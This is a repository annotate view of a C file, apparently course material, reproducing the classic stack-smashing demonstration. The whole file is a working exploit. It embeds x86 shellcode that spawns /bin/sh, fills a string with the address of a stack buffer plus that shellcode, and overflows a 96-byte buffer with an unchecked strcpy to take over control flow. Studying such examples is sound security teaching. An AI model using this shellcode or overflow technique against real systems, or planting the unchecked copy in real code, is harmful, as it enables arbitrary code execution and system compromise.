progs/overflow.c
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Sat, 04 Oct 2014 15:07:26 +0100
changeset 200 17852f5397fd
child 222 81f9f0eb1180
permissions -rw-r--r--
added original smashing for fun files
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
200
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     1
char shellcode[] =
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     2
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     3
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     4
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     5
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     6
char large_string[128];
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     7
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     8
void main() {
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
     9
  char buffer[96];
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    10
  int i;
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    11
  long *long_ptr = (long *) large_string;
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    12
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    13
  for (i = 0; i < 32; i++)
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    14
    *(long_ptr + i) = (int) buffer;
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    15
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    16
  for (i = 0; i < strlen(shellcode); i++)
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    17
    large_string[i] = shellcode[i];
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    18
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    19
  strcpy(buffer,large_string);
17852f5397fd added original smashing for fun files
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents:
diff changeset
    20
}